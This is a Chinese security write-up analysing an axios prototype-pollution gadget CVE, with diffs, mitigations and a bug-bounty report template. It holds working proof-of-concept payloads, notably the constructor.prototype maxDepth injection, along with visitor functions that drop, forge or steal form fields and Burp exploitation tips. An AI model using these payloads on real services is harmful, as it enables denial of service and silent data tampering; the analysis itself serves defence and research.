CVE-2026-101909深度解析:Axios不是漏洞入口,而是原型污染的「放大器」

admin 2026-09-30 05:49:28 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文深度解析CVE-2026-101909,指出Axios并非原型污染入口而是消费污染值的Gadget。受影响版本为0.28.0至0.34.0及1.15.1至1.20.0,修复版本为0.34.0与1.20.0。实测仅maxDepth、visitor、Blob三个属性可利用,其中maxDepth门槛最低可致DoS。文章提供完整POC与双版本对照验证,强调需配合其他污染源才能利用。 综合评分: 88 文章分类: 漏洞分析,代码审计,WEB安全


CVE-2026-101909 深度解析:Axios 不是漏洞入口,而是原型污染的「放大器」

原创

钟智强 钟智强

哪吒网络安全

2026年9月29日 22:42 马来西亚

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

很多人看到这个 CVE 的第一反应是:「Burp 里改一下 Axios 的 maxDepth 就能打」。

这个理解是错的。本文用可运行的本地 POC + 真实源码 diff,把「污染源」和「Gadget」这两件事彻底拆开。

写在前面

CVE-2026-101909 在传播过程中被简化得太厉害了,出现了大量失真表述:

·错误说法:「Axios 存在 RCE」

·错误说法:「Burp 改个参数就能控制 Axios 序列化」

·错误说法:「6 个属性都能被污染」

这些说法里,只有最后一条「部分正确」。本文所有结论均来自本地实测(Node.js v20 + axios 1.19.0 / 1.20.0 双版本对照),不是纸上推演。

先校正版本信息:

| | | | — | — | | 项目 | 内容 | | 漏洞名称 | Prototype Pollution Gadget in axios toFormData Options | | 受影响区间 | >= 0.28.0 < 0.34.0 以及 >= 1.15.1 < 1.20.0 | | 修复版本 | 0.34.0 与 1.20.0 | | 漏洞类型 | Prototype Pollution **Gadget**(非独立入口) |

01 一句话结论

Axios 在这里不产生污染,它只「消费」污染。

攻击者

  │

  ▼

另一处漏洞(unsafe merge / 递归赋值 / 危险 parser)   ← 污染源,与 Axios 无关

  │

  ▼

Object.prototype 被写入 maxDepth / visitor / Blob

  │

  ▼

Axios toFormData() 执行时,options = {} 也会沿原型链读到这些值

  │

  ▼

序列化行为被劫持 → 500 / DoS / 字段被静默丢弃或篡改

关键在于:如果目标不存在 prototype-pollution 的入口,光是有个 [email protected],什么都打不成。

02 原型链:理解一切的前提

先把 Axios 放一边。

const options = {};

Object.prototype.maxDepth = 0;

Object.hasOwn(options, “maxDepth”);  // false ← 自身确实没有

options.maxDepth;                    // 0     ← 但就是读到了

这两行结果同时成立,就是原型链查找:

options 自身是空对象,JS 在它身上找不到 maxDepth,就自动沿原型链向上找到 Object.prototype.maxDepth。

这就是 CVE 的全部基础——也是为什么 axios.toFormData(data, form, {}) 传一个空对象进去,照样会被劫持。

03 根因:两个版本,同一处逻辑,两种写法

我把 axios 1.19.0 和 1.20.0 都装上,直接 diff 了 lib/helpers/toFormData.js。修复手法极其干净:

1.19.0(受影响)

options = utils.toFlatObject(

  options,

  {

    metaTokens: true,

    dots: false,

    indexes: false,      // ← 注意:默认值对象里只有这三个键

  },

  false,

  function defined(option, source) {

    return !utils.isUndefined(source[option]);

  }

);

const metaTokens = options.metaTokens;

const visitor    = options.visitor || defaultVisitor;

const dots       = options.dots;

const indexes    = options.indexes;

const _Blob      = options.Blob || (typeof Blob !== ‘undefined’ && Blob);

const maxDepth   = options.maxDepth === undefined

  ? DEFAULT_FORM_DATA_MAX_DEPTH

  : options.maxDepth;

1.20.0(已修复)

const option = (name, fallback) => {

  const value = utils.getSafeProp(options, name);

  return utils.isUndefined(value) ? fallback : value;

};

const metaTokens = option(‘metaTokens’, true);

const visitor    = option(‘visitor’) || defaultVisitor;

const dots       = option(‘dots’, false);

const indexes    = option(‘indexes’, false);

const _Blob      = option(‘Blob’) || (typeof Blob !== ‘undefined’ && Blob);

const maxDepth   = option(‘maxDepth’, DEFAULT_FORM_DATA_MAX_DEPTH);

而 getSafeProp 的实现是:

const getSafeProp = (obj, prop) =>

  obj != null && hasOwnInPrototypeChain(obj, prop) ? obj[prop] : undefined;

hasOwnInPrototypeChain 会沿原型链逐个检查 hasOwnProperty,但一旦越过 Object.prototype 这个边界就停止。于是「只从 Object.prototype 继承来的属性」一律被视为 undefined,污染值再也无法被读到。

这里有个绝大多数文章都没讲透的点

toFlatObject 的第一个参数是用户传入的 options,第二个参数是默认值对象。合并后返回的 options 里,metaTokens / dots / indexes一定存在(被默认值兜底了),而 maxDepth / visitor / Blob不一定存在。

后果是:

·options.dots → 命中默认值 false,继承值被遮蔽,污染无效

·options.maxDepth → 自身没有、默认值也没有 → 只能沿原型链找 → 污染命中

这不是玄学,是默认值对象里有没有那个键决定的。

04 实测:6 个属性里,只有 3 个真能被打到

我对公开描述中提到的 6 个属性逐个做了对照实验(代码见文末 POC 的 EXP-3),结果如下:

| | | | | | | — | — | — | — | — | | option | 默认值兜底 | 可继承污染 | 实测效果 | 利用门槛 | | maxDepth | 无 | 是 | 抛 AxiosError,请求 500 / DoS | **低(标量即可)** | | visitor | 无 | 是 | 字段被静默丢弃或篡改 | 高(需函数注入) | | Blob | 无 | 是 | Blob 构造器被替换 | 高(需函数注入) | | dots | false | 否 | 无任何变化 | 不适用 | | indexes | false | 否 | 无任何变化 | 不适用 | | metaTokens | true | 否 | 无任何变化 | 不适用 |

所以「6 个属性都能被污染」是常见误解。 真正可利用的是 3 个,而其中只有 maxDepth 是低门槛——因为它只需要一个标量值,而 visitor 和 Blob 需要攻击者具备函数注入能力(JSON 本身无法传递函数,你得先有更强的 primitive)。

05 本地 POC:一步步跑通

环境

mkdir axios-cve-lab && cd axios-cve-lab

npm init -y

npm install [email protected]     # 落在 >=1.15.1 <1.20.0 受影响区间

建议同时准备修复版做对照:

npm install [email protected] –prefix ./node_modules_fixed

EXP-1 最小验证:没有的属性,就是能读到

Object.prototype.maxDepth = 0;

const options = {};

console.log(Object.hasOwn(options, “maxDepth”)); // false  ← 自身没有

console.log(options.maxDepth);                   // 0      ← 却读到了

EXP-2 Gadget 触发:传空对象照样炸

const axios = require(“axios”);

const data  = { username: “alice”, profile: { role: “user” } };

const fd = new FormData();

axios.toFormData(data, fd, {});   // ← 第三个参数是空对象

实测输出:

before : OK [[“username”,”alice”],[“profile[role]”,”user”]]

after  : THROW AxiosError: Object is too deeply nested (1 levels). Max depth: 0

注意这里的关键细节:第三个参数 {} 里什么都没写,攻击者的输入完全是 Object.prototype 上的。这就是 gadget 的定义。

maxDepth = 0 意味着「不允许任何一层嵌套」,throwIfMaxDepthExceeded 被触发,直接抛 AxiosError。在真实业务里,这个异常会顺着上传/表单提交链路往上冒,表现为 HTTP 500——这就是它的现实影响:拒绝服务 / 功能中断。

EXP-3 全属性矩阵

见文末 poc.js 的 EXP-3,逐个污染、逐个比对序列化结果,输出上表。

EXP-4 visitor:最阴的一种,不抛异常

visitor 是遍历每个字段时的回调函数。1.19.0 的调用逻辑是:

const result = !(utils.isUndefined(el) || el === null) &&

  visitor.call(formData, el, key, path, exposedHelpers);

if (result === true) {

  build(el, path ? path.concat(key) : [key], depth + 1);

}

默认 visitor 负责 formData.append(…)。一旦 visitor 被攻击者顶替,append 就不会再发生。实测三种效果:

// B1 静默丢弃全部字段 —— 请求体被清空,服务端收到合法空表单

OK []

// B2 篡改并注入字段 —— 攻击者凭空写入任意 key/value

OK [[“username”,”pwned”],[“injected_by_attacker”,”pwned”]]

// B3 代理默认 visitor —— 完整遍历并窃取全量字段(this 就是 FormData)

OK [[“username”,”alice”],[“profile[role]”,”user”],[“profile[vip]”,”false”]]

窃取到的字段: [[“username”,”alice”],[“profile.role”,”user”],[“profile.vip”,false]]

B1 和 B2 都不抛异常、不改状态码,日志里什么异常都没有,只是数据悄悄变了——这类问题在真实系统里极难被察觉。

不过要冷静:visitor 是个函数,JSON 里没法直接传函数。要走通这条路径,攻击者需要更强的 primitive(比如能控制对象属性的 merge 允许函数值、或存在其他代码注入)。所以它属于「高门槛」,别在报告里把它和 maxDepth 混为一谈。

EXP-5 Blob 构造器劫持

let hits = 0;

Object.prototype.Blob = function (parts) { hits++; return { tag: “HIJACKED” }; };

// before : OK [[“buf”,{}]]

// after  : OK [[“buf”,”[object Object]”]]

// 攻击者构造器被调用次数 = 1

注意:只有数据里存在 ArrayBuffer / TypedArray 时才会走到 new _Blob([value]) 分支。我第一次用 new Blob() 测的时候「看起来没效果」,是数据选错了——这也是容易误判的地方。

EXP-6 双版本对照

axios 1.19.0(受影响) 污染后: THROW AxiosError: Object is too deeply nested (1 levels). Max depth: 0

axios 1.20.0(已修复) 污染后: OK [[“username”,”alice”],[“profile[role]”,”user”]]

同样的污染、同样的代码,1.20.0 完全免疫。

06 端到端复现:两个请求,中间不传任何参数

本地 POC 只证明了「Axios 会吃污染值」。真实场景要证明的是:一次恶意请求,能影响后续所有请求。

我用 Node 内置 http 起了一个服务(完整代码见 e2e.js):

·POST /api/preferences —— 一个存在原型污染的配置保存接口(脆弱的递归 merge,与 Axios 无关)

·POST /api/upload —— 一个完全正常的上传接口,内部调用 axios.toFormData()

实测输出:

STEP 0  基线:正常上传

   -> {“status”:200,”fields”:[[“username”,”alice”],[“profile[role]”,”user”]]}

STEP 1a 攻击者提交 {“__proto__”:{“maxDepth”:0}}

   [server] Object.prototype.maxDepth = undefined      (未污染成功)

   -> 随后正常上传: {“status”:200,…}

STEP 1b 改用 {“constructor”:{“prototype”:{“maxDepth”:0}}}

   [server] Object.prototype.maxDepth = 0              (污染成功)

STEP 2  受害者发起完全正常的业务请求(请求体里没有任何攻击参数)

   -> HTTP 500 {“error”:”Object is too deeply nested (1 levels). Max depth: 0″}

附赠一个高频坑点

{"\_\_proto\_\_": {...}} 在多数 merge 实现下根本不生效。

原因:merge 里读 source[“__proto__”] 时,拿到的是对象的真实原型(Object.prototype),而不是 JSON 里那个键的值,递归合并自然什么也没写成。

真正稳的路径是:

{ “constructor”: { “prototype”: { “maxDepth”: 0 } } }

target.constructor 指向 Object 函数,.prototype 就是 Object.prototype,赋值直接落地。

大量 POC 死在这一步,然后被误判为「漏洞不存在」。 你在 Burp 里试的时候,如果 __proto__ 没反应,别急着下结论,换 constructor.prototype 再试一次。

07 影响评估:这不是 RCE

必须说清楚,否则报告会被打回:

| | | | | — | — | — | | 断言 | 是否成立 | 说明 | | [email protected] 是脆弱依赖 | 成立 | 版本落在受影响区间 | | 目标因此可被 RCE | 不成立 | 需要同进程内存在 PP primitive,且 RCE 还需额外条件 | | 可被 DoS / 功能中断 | 成立 | maxDepth 触发异常,实测 HTTP 500 | | 数据可被静默篡改 | 条件成立 | 需 visitor 函数注入能力 |

正确的表述应该是:

目标使用受影响版本的 axios,且应用中存在独立的 prototype-pollution 入口;两者组合后,攻击者可通过跨请求污染 Object.prototype,使 axios.toFormData() 读取被污染的 option,导致序列化异常(500)或字段被静默丢弃/篡改。

把「依赖脆弱」和「目标可利用」分开写,报告的通过率会高很多。

08 自查手册

1. 确认实际安装版本

npm ls axios

不要只看 package.json。package.json → package-lock.json → 实际安装版本,这三者可能不一致,以 npm ls 为准。

2. Axios 是间接依赖时

npm why axios

输出会告诉你到底是谁把它带进来的:

my-app

└─┬ some-package

  └── [email protected]

如果你的 package.json 里根本没有 axios,但 npm ls 能查到,说明它在依赖树的深处——这种情况最容易漏。

3. 找 sink(代码里到底有没有用到)

grep -R “toFormData” .

grep -R “formSerializer” .

grep -R “FormData” .

没有 sink 就没有 gadget。 即使版本受影响,如果代码里从不调用 toFormData(),这条链就是断的——这一点在写报告前一定要确认。

09 Bug Bounty 实战:怎么找、怎么写

要找的是「两个东西的交叉」

Target

   │

   ├── A. Prototype Pollution Primitive ── JSON parser / 递归 merge / 配置合并 / query parser

   │

   └── B. Axios Gadget ────────────────── toFormData() 调用点

                │

                └── 两者都存在,才构成完整链条

单独报「axios 1.19.0」几乎没有价值。厂商大概率回复「已知依赖风险,非可利用漏洞」。

报告模板(可直接套用)

标题:Prototype pollution in /api/preferences leads to DoS via axios

      toFormData() gadget (axios 1.19.0, CVE-2026-101909)

影响版本:axios 1.19.0(>=1.15.1 <1.20.0 区间)

前置条件:/api/preferences 存在递归 merge,可污染 Object.prototype

复现步骤:

  1. POST /api/preferences  {“constructor”:{“prototype”:{“maxDepth”:0}}}

  2. POST /api/upload       (请求体为空,无任何攻击参数)

  3. 观察:HTTP 500,服务端异常 Object is too deeply nested

影响:跨请求拒绝服务;上传/表单提交功能全局不可用

修复建议:升级 axios 至 1.20.0,并修复 /api/preferences 的 merge 逻辑

常见被打回的原因

1.只报版本,不报 primitive —— 缺少可复现的污染入口

2.声称 RCE —— 超出实际影响,可信度直接归零

3.POC 用了 \_\_proto\_\_ —— 自己复现失败,还以为漏洞不存在

4.没证明跨请求 —— 必须展示「两个独立请求」的完整链条

10 修复与缓解

首选:升级

npm install [email protected]     # 1.x 线

npm install [email protected]     # 0.x 线

npm ls axios                 # 确认生效

暂时升不了级时

治本还是要堵住污染源,gadget 只是放大器:

·给递归 merge 加 __proto__ / constructor / prototype 黑名单

·用 Object.create(null) 承载不可信的合并结果

·对不可信输入用 JSON.parse(s, reviver) 过滤危险键

·合并前校验 Object.hasOwn(target, key)

·Node 可考虑以 –frozen-intrinsics 启动(需评估兼容性)

11 FAQ:几个高频误解

Q:Burp 里直接改成 isAdmin=true 是不是这个 CVE?

不是。那是通用 prototype pollution 造成的权限绕过,走的是应用自己的权限判断逻辑。CVE-2026-101909 特指污染值被 Axios 的 toFormData() 消费这一条路径。两者是「污染源」和「 Gadget」的关系。

Q:Object.prototype.isAdmin = false 然后污染成 true 能绕过权限吗?

能,但那是应用逻辑的问题,跟 Axios 无关。别把它写进这个 CVE 的报告里。

Q:我只看到 axios 版本受影响,能报吗?

能报「脆弱依赖」,但别声称可利用。真正有价值的是找到 primitive + gadget 的完整链条。

Q:visitor 被污染是不是就能执行任意代码?

需要函数注入能力,门槛远高于 maxDepth。JSON 无法传递函数,你得先证明目标存在允许写入函数值的 primitive。

12 一图流总结

ATTACKER

    │

    ▼

Prototype Pollution(另一处漏洞,非 Axios)

    │

    ▼

┌─────────────────────────┐

│     Object.prototype    │

│  maxDepth / visitor / Blob   ← 只有这 3 个无默认值兜底

└───────────┬─────────────┘

            │ prototype lookup

            ▼

┌─────────────────────────┐

│   Axios toFormData()    │

│   读取 inherited option │

└───────────┬─────────────┘

            ▼

  500 / DoS / 字段被静默丢弃

记住这句话就够了: 这个 CVE 的核心不是「Burp 直接改了 Axios 的参数」,而是「Burp 触发另一处污染 → 污染 Object.prototype → Axios 在正常运行时经原型链读到了这个值」。

附:POC 文件说明

| | | | — | — | | 文件 | 用途 | | poc.js | 6 组本地实验:继承验证 / maxDepth / 全属性矩阵 / visitor 三效果 / Blob / 双版本对照 | | e2e.js | 端到端两阶段 HTTP 复现,含 \_\_proto\_\_ 与 constructor.prototype 对比 |

npm install [email protected]

node poc.js

node e2e.js

本文所有输出均为本地实测结果(Node.js v20.19.5,axios 1.19.0 与 1.20.0 双版本对照)。版本区间与官方定名以 Axios 官方安全公告为准。

*如果你也在挖这条链,欢迎把你的实测结果贴在评论区——尤其是哪些 merge 实现对 __proto__ 有效、哪些必须走 constructor.prototype,这块值得单独攒一份清单。*

加入我们团队。以下是群聊二维码:



免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。

本文转载自:哪吒网络安全 钟智强 钟智强《CVE-2026-101909 深度解析:Axios 不是漏洞入口,而是原型污染的「放大器」》

评论:0   参与:  0